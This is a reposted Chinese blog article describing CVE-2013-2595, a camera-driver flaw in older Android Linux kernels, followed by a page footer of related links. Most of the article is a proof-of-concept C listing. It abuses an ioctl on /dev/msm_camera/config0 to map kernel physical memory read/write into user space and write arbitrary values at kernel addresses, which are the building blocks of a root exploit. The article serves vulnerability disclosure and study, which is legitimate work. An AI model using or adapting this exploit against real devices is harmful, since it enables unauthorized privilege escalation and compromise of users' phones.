zoukankan      html  css  js  c++  java
  • Uncontrolled memory mapping in camera driver (CVE-2013-2595)

    版权声明:本文为博主原创文章。未经博主同意不得转载。

    https://blog.csdn.net/hu3167343/article/details/34434235

    /*

    本文章由 莫灰灰 编写,转载请注明出处。  

    作者:莫灰灰    邮箱: minzhenfei@163.com

    */


    1漏洞描写叙述

    漏洞的产生主要是由于摄像头驱动提供了几个用于用户空间调用的接口。

    用户空间能够使用诸如ioctl或者mmap这种系统调用函数就能对摄像头驱动产生影响。黑客能够非常easy的使用事先构造好的參数将物理内存map到用户空间,并提升权限。


    2.影响设备

    绝大多数使用2013年5月1日之前的Linux内核安卓系统


    3.PoC

    /*
     *
     * This program is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program.  If not, see <http://www.gnu.org/licenses/>.
     *
     */
    
    #include <stdint.h>
    #include <stdio.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <linux/fb.h>
    #include <string.h>
    
    #include "msm_cameraconfig.h"
    
    #define MSM_CAM_IOCTL_MAGIC 'm'
    
    struct msm_mem_map_info {
        uint32_t cookie;
        uint32_t length;
        uint32_t mem_type;
    };
    
    #define MSM_CAM_IOCTL_SET_MEM_MAP_INFO 
            _IOR(MSM_CAM_IOCTL_MAGIC, 41, struct msm_mem_map_info *)
    
    #define MSM_MEM_MMAP 0
    
    #define KERNEL_VIRT_ADDRESS     0xc0000000
    #define MAPPED_BASE             0x20000000
    #define KERNEL_SIZE             0x02000000
    
    static bool kernel_phys_offset_initialized = false;
    static unsigned long kernel_phys_offset = 0;
    
    static int
    get_cpu_implementer(void)
    {
      FILE *fp;
      char name[BUFSIZ];
      char value[BUFSIZ];
      int ret;
      long int implementer = 0;
    
      fp = fopen("/proc/cpuinfo", "r");
      if (!fp) {
        printf("Failed to open /proc/cpuinfo due to %s.", strerror(errno));
        return 0;
      }
    
      while ((ret = fscanf(fp, "%[^:]: %[^
    ]
    ", name, value)) != EOF) {
        if (!strncmp(name, "CPU implementer", 15)) {
          implementer = strtol(value, NULL, 16);
          break;
        }
      }
      fclose(fp);
    
      return implementer;
    }
    
    static unsigned long int
    detect_kernel_phys_address_from_cpuinfo(void)
    {
      int implementer;
    
      implementer = get_cpu_implementer();
    
      switch (implementer) {
      case 'Q':   // 0x51
        return 0x80200000;  
      }
      return 0x80000000;
    }
    
    static unsigned long int
    get_system_ram_address_from_iomem(void)
    {
      FILE *fp;
      char name[BUFSIZ];
      void *start_address, *end_address;
      void *system_ram_address = NULL;
      int ret;
    
      fp = fopen("/proc/iomem", "r");
      if (!fp) {
        printf("Failed to open /proc/iomem due to %s.
    ", strerror(errno));
        return false;
      }
      while ((ret = fscanf(fp, "%p-%p : %[^
    ]", &start_address, &end_address, name)) != EOF) {
        if (!strcmp(name, "System RAM")) {
          system_ram_address = start_address;
          continue;
        }
        if (!strncmp(name, "Kernel", 6)) {
          break;
        }
      }
      fclose(fp);
    
      return (unsigned long int)system_ram_address;
    }
    
    static bool
    detect_kernel_phys_parameters(void)
    {
      unsigned long int system_ram_address;
    
      system_ram_address = get_system_ram_address_from_iomem();
      if (!system_ram_address) {
        system_ram_address = detect_kernel_phys_address_from_cpuinfo();
      }
    
      kernel_phys_offset_initialized = true;
      kernel_phys_offset = system_ram_address;
    
      return true;
    }
    
    void *
    msm_cameraconfig_convert_to_mmaped_address(void *address, void *mmap_base_address)
    {
      return mmap_base_address + (uint32_t)address - KERNEL_VIRT_ADDRESS;
    }
    
    bool
    msm_cameraconfig_write_value_at_address(unsigned long int address, int value)
    {
      void *mmap_address = NULL;
      int *write_address;
      int fd_video;
      int fd_config;
    
      mmap_address = msm_cameraconfig_mmap(&fd_video, &fd_config);
      if (mmap_address == MAP_FAILED) {
        return false;
      }
    
      write_address = msm_cameraconfig_convert_to_mmaped_address((void*)address, mmap_address);
      *write_address = value;
    
      msm_cameraconfig_munmap(mmap_address, fd_video, fd_config);
    
      return true;
    }
    
    bool
    msm_cameraconfig_run_exploit(bool(*exploit_callback)(void *mmap_base_address, void *user_data),
                       void *user_data)
    {
      void *mapped_address = NULL;
      int fd_video;
      int fd_config;
      bool success;
    
      mapped_address = msm_cameraconfig_mmap(&fd_video, &fd_config);
      if (mapped_address == MAP_FAILED) {
        return false;
      }
    
      success = exploit_callback(mapped_address, user_data);
    
      msm_cameraconfig_munmap(mapped_address, fd_video, fd_config);
    
      return success;
    }
    
    void
    msm_cameraconfig_set_kernel_phys_offset(int offset)
    {
      kernel_phys_offset_initialized = true;
      kernel_phys_offset = offset;
    }
    
    void *
    msm_cameraconfig_mmap(int *fd_video, int *fd_config)
    {
      struct msm_mem_map_info args;
      void *mapped_address;
    
      if (!kernel_phys_offset_initialized && !detect_kernel_phys_parameters()) {
         printf("This machine can not use msm_cameraconfig exploit.
    ");
         return MAP_FAILED;
      }
    
      *fd_video = open("/dev/video0", O_RDWR);
      if (*fd_video < 0) {
        goto error_exit;
      }
    
      *fd_config = open("/dev/msm_camera/config0", O_RDWR);
      if (*fd_config < 0) {
        goto error_exit;
      }
    
      args.cookie = kernel_phys_offset;
      args.length = KERNEL_SIZE;
      args.mem_type = MSM_MEM_MMAP;
    
      if (ioctl(*fd_config, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args) < 0) {
        goto error_exit;
      }
    
      mapped_address = mmap((void *)MAPPED_BASE, KERNEL_SIZE, PROT_READ | PROT_WRITE,
                            MAP_SHARED, *fd_config, kernel_phys_offset);
    
      if (mapped_address == MAP_FAILED) {
        goto error_exit;
      }
    
      return mapped_address;
    
    error_exit:
      if (*fd_config >= 0) {
        close(*fd_config);
        *fd_config = -1;
      }
    
      if (*fd_video >= 0) {
        close(*fd_video);
        *fd_video = -1;
      }
    
      return MAP_FAILED;
    }
    
    int
    msm_cameraconfig_munmap(void *address, int fd_video, int fd_config)
    {
      if (address != MAP_FAILED) {
        int ret;
    
        ret = munmap(address, KERNEL_SIZE);
        if (ret < 0) {
          printf("Failed to munmap due to %s
    ", strerror(errno));
          return ret;
        }
      }
    
      close(fd_config);
      close(fd_video);
    
      return 0;
    }

    4.漏洞修复



    5.总结

    1.漏洞的利用事实上和Root exploit on Exynos(CVE-2012-6422)几乎相同。仅仅是map物理内存的方法不同罢了。

    2.其次,这个漏洞的补丁也非常奇特,仅仅是简单的把相关漏洞代码删掉了。

    预计是胡乱抄代码模板导致的漏洞,哈哈。


查看全文
  • 相关阅读:
    【Azure 应用服务】由 Azure Functions runtime is unreachable 的错误消息推导出 ASYNC(异步)和 SYNC(同步)混用而引起ThreadPool耗尽问题
    【Azure API 管理】是否可以将Swagger 的API定义导入导Azure API Management中
    【Azure 应用服务】Azure Function 不能被触发
    【Azure 环境】Azure Key Vault (密钥保管库)中所保管的Keys, Secrets,Certificates是否可以实现数据粒度的权限控制呢?
    【Azure 事件中心】为应用程序网关(Application Gateway with WAF) 配置诊断日志,发送到事件中心
    【Azure 事件中心】azure-spring-cloud-stream-binder-eventhubs客户端组件问题, 实践消息非顺序可达
    【Azure API 管理】Azure API Management通过请求中的Path来限定其被访问的频率(如1秒一次)
    【Azure 环境】前端Web通过Azure AD获取Token时发生跨域问题(CORS Error)
    【Azure 应用服务】记一次Azure Spring Cloud 的部署错误 (az spring-cloud app deploy -g dev -s testdemo -n demo -p ./hellospring-0.0.1-SNAPSHOT.jar --->>> Failed to wait for deployment instances to be ready)
    【Azure 应用服务】App Service中抓取 Web Job 的 DUMP 办法
  • 原文地址:https://www.cnblogs.com/ldxsuanfa/p/10778486.html
  • Copyright © 2011-2022 走看看